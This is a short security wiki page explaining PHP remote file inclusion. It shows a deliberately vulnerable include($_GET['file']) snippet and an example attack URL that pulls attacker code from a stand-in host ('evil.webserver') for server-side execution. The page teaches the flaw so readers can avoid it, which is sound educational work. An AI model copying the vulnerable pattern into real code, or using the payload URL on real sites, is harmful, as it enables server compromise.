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File Inclusion/Remote File Inclusion
From NetSec
Revision as of 07:55, 19 July 2012 by Chantal21I (Talk | contribs)
Remote file inclusion refers to inclusion of a file that is not located on the victim's server. As recent versions of PHP have built-in safeguards that prevent remote inclusion unless it is explicitly enabled by the administrator, this form of vulnerability is now incredibly rare.
The example URI of a vulnerable site will be /include.php?file=howto.php
PHP for this may look like:
<HTML> <TITLE>Page Title</TITLE> <BODY> <?php include($_GET['file']); ?>
</BODY></HTML>
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The above PHP code is vulnerable. Do not use this on your site! |
An attacker that sees
/include.php?file=howto.php
may change the URL to
/include.php?file=http://evil.webserver/include.txt
In this example, if include.txt contains some php code designed by the attacker, this will cause this code to be executed on the server side.
